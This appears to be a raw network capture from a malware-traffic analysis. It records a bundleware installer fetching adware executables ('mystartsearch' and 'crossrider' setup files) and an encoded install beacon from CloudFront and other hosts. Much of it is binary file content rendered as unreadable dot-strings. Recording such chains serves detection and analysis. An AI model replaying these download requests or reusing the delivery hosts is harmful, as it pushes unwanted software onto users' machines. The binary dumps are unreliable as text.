Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WGh2B9GkyschxuhJRSd2oIpHbt3_IUUYmGCbvyW6qWGzlfuWWWQ74Q==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;
<<< skipped >>>


GET /infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inipegcc.com
Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sat, 14 Feb 2015 04:00:15 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.14p1
Location: hXXp://VVV.inipegcc.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip
0......


GET /files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip HTTP/1.1


Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inipegcc.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:00:15 GMT
Content-Type: application/zip
Content-Length: 2169759
Last-Modified: Fri, 13 Feb 2015 02:23:20 GMT
Connection: keep-alive
Accept-Ranges: bytes
PK..........LFs..*............422.json......N......w.........L@.\...q.
..%.v..Q..~DO.M.|.Wj.N.........'?.}...n..0..5.^1.........#..z.n...t..#
.1jq`....*.>#.............m..V.&.vc~.<.w.R.'xD....q..qQ|.H.P6...
.l..&3....g.t/....|7p.......3......~...B|[email protected].}...P......^1....
....AO...t...HT,t.v.4.)......]._.u-g..f..M....:.x~..........J.....W]..
.~C..M...:]...{..-.e...8.i.2....aO...w...#i.^1......K........|~.k..=.z
.L.........Nr.s.....!*l..5.D(L.w.J.kh.b..S...~..-..Y../.ap......q..j..
%....a.M=E.k}.0....g.`.$SaH...u...I.*h.Y.0.3s~.......a.w..............
.hCX3gOXzPK..........LF..".f....K......uninstallDlg2.xml.\m.....^.....
..z.f.N...mo..As..$([email protected].../...w(Q.d.k9.6^T..."....gH....o......R.
f.3.-DX.#..3 ...L,.J.".sFf..I-...?...g."..R....Sw.N]..x-sQ.@}=..Fd..X.
8.!...Y..........|.o..1...Ox..li.....8.YRd.BT...3k..../....9^..T..sb#.
...nir.....mT.....(.2.eRr.y.....1.r...d\~.. ~!I......v....x.t]H.$BW0..
.L.......'^....8..<.0\.eQ.R....Iq..9..[\k. .O.:rs...7...tE..D..B.(h
..h.....GA...'..{M..m(x....2s...b.4.x..p....M..`.ukQ..;].....(u.Z.A...
.L.r........~/P...........|.`l...5d}....w.#..1......vS.W.....`....b@w.
r.%sS.w......Q..#B.."B}..f...K...,c..d.1.....`ST2.M`.."...$.lC..p.P)..
Ce.b.LQ..0...h.aF...L. ps~.'FP.a.`R.2........!X............"B.....'.I.
@#..Y#....]. .....]...eM....#..Zp..`.....l"....<..Q....V.2.~.......
...S..9...nf..(K!..Q......,.....P....BO{0Q.....N....".M.....(m]....._.
WW.."...B.h...Bn.Pa."V...%....wwQ...g,j0'...w..].....\..Z........n.1..
k...Q...qI.jD1..q..r.h5._..\_)..RQ....RC.7.'..:../.~R.....y.jI<
<<< skipped >>>


GET /install.ashx?e=2v0SNuZrMFyRcITdAqjv5seI11IItJtHKfVlCnXptyQn W6mgwkV3fvMvmvRdHFgXKNbNNj7X1sST4rKteRix0jq2IY Ol30IKZx2SVSzVvxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UQBWGehDOL40qPeikK78R8xbc 92iXckPxnmBTMAEcL919Jcjat2bhDcYhZqg O20IW0Zfv5k/lql C6 0fy7AVU/GQ/6lQnvLO68mmZUli4qPeikK78R8xbc 92iXckPlz6gqmRTJwihVwgwNUU6llMECSZi6zLdwDxA009XUTxneX/0 ooQKGynD/t/TSE8Wn2VgKtPO53Dq438Eo8rwMCai5OFCG9k2sbLEbAG5xG4aFl18N5KSUFmrpPPnPUEPKp8MLmAxBRww8M76XdRS1zslN/Oom5DbE2hSZV1srvsrduYhMMj29VDu3Y6tuFjn TmElZC8XeJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dfb5uyoqjsg4c.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 2032
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: CIThkCg7y3embdrBp6LUbSu7BXS2O5No_WhaqER2BO0eSF8MOLS6iA==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O..}WYe.......OD....../5.Q.V!.......vhL....9.O '."..N...C..`..5)...ja.
k..#...KR...`dJ9TR.d..,....K..-H....u..F.. ....JA...1`.p.K.K.......0..
.(......C~.....W0..(O..9.._."...~c.yzO...;....Aa....d...c....mu..y..1 
.T.h...]..vhL....9.O '."..N...C..`..5).....a.3..Aa....d..cT:....W.{.."
......|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...x..u.a
..W.%!...n`2x7..5..#....$.....r..R.......k...../.>.....F..u\..R...8
6p.]...". ....g0[..D....p..iq..l..u..........rv.z..u.j............PM. 
[email protected].. . ..{..K...e..q.".....x.Sv...9.
.c.|.Kn.........#....D......j'.....-kgFM?.6.....ls.[..Z.t..u..6zv..y} 
.t.i....{@..l...H..o.ckP........G&6..0C.;AK.4...&.xl..l.&J..m.......fm
....P....h:k....m.K #...Pa......Z~..*}....,,[email protected].]...
;......Z....$.F.2...U.S.)...c....#[email protected]<...#.G....B..DgS0m.5..#
[email protected].........`.eVE...........o....i....T..S]J...?..^.$.o.
..{.k`.[.../l......o......X?gX{.......~.S.......\RL...P../..s$..VPf{..
.M3.._....&Q ..[..~H...My..3~.i..I.W.}(#.....7.........e.J..c..~J.....
...88...5Nj..v..9..Y..S...Fn.8J..'a....i...Z.T>\......Hr.DY'..;.}..
..e..h.-...3..'.. '..{......vS{Ew..............F.......~<)DR0sU....
]....Z...DD....WI....pO...o..=v.g.....Q.............a....=.v'@..W8. ..
.x....1..8..n.<..~..`.......d...Hj.....)\..A ..~.S..s-..h...(.j...K
5.;........ ..H.sq.....!.O....c...?....W.&*.....0..k..k.l".;...Y"...J(
.~T8&^..:iY1.O.wH.|.hO/.4..#......:L.?lk... .|...{(...$:....a....0
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-321631/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 83Lx9d4ndnNP2eARSIoFNDLy09jT6aiB7CvV5F7eR7NBoIh6ZgNOgA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=249864-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 35694
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 249864-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4Qg9A3eLM5LS7OrbujFKu9O4iJs-eWOvHfC9RhXNZJ3KPysRX2qp8w==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=214170-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71388
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 214170-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: RBz4Bz_rWham3H3PYkUAgnHkOOp3_XOQyTz1sse2hHcfi3klB8naew==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..
<<< skipped >>>


GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.msocsp.com


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:00:26 GMT
Content-Type: application/ocsp-response
Content-Length: 1757
Connection: keep-alive
Set-Cookie: __cfduid=d4f35c2e039b01e90dfd95a2e95fb1fcb1423886426; expires=Sun, 14-Feb-16 04:00:26 GMT; path=/; domain=.msocsp.com; HttpOnly
Last-Modified: Wed, 11 Feb 2015 02:01:15 GMT
Expires: Sun, 15 Feb 2015 02:01:15 GMT
ETag: "536a920fba69f8540ab7b9ba0d359cef81b44d68"
Cache-Control: max-age=345599,public,no-transform,must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1b865bd2ddeb0749-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0211020115Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150211020115Z....20150215020115Z."0 0..
. .....0......20140211020115Z0...*.H.............M.....w<..>.xY.
T.\1.F.... T...^....X,....u....v.Ci..........Y..zS..N.~TP....:a.....O.
.Z.\e$v...Ys.f..,...w.).#.....;..~K.P..bv.........`.}V......._2L%.{P..
.......{.... ...P.P..... >.d@4rsL..|J.U-.}d..V.M..h.... d..\...."..
.E$Y3J|....J\....].g..w...J......7....0...0...0..........Z..~..M..<
ZYJ....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U..
..Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...
U....Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U...
.Should be ignore by CA0.."0...*.H.............0...........&!(..$.K...
."=f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.
..........bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.
x*.......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ..
.6.M.O.....<5:......r.....]..A.5........0..0...U..........<.|7..
[email protected]|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0.
.. .......0... .....7....0.0... .......0... .....0......0...*.H.......
...........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......
*.w...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z
.3....L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP...
.<.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=160816-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 160816
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 160816-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: INOgUzvNyT_MQoe02LJtSnBpub5V6rC8iTGR9dAhDlVZ5YdcSqTxHQ==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=201020-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 120612
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 201020-321631/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)
X-Amz-Cf-Id: zgZRVeXd2xGcoYYS5PB6gVCR462AaFZ2Nq5NYqiH17PCSai6wMWDZQ==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=138810-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 971666
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=80408-160816
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 80409
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 80408-160816/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: fIvPod8Ef1HuTo8SeP43lGPDQ04yL_5VVP4ihfhzOSiLktbHat3BjQ==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
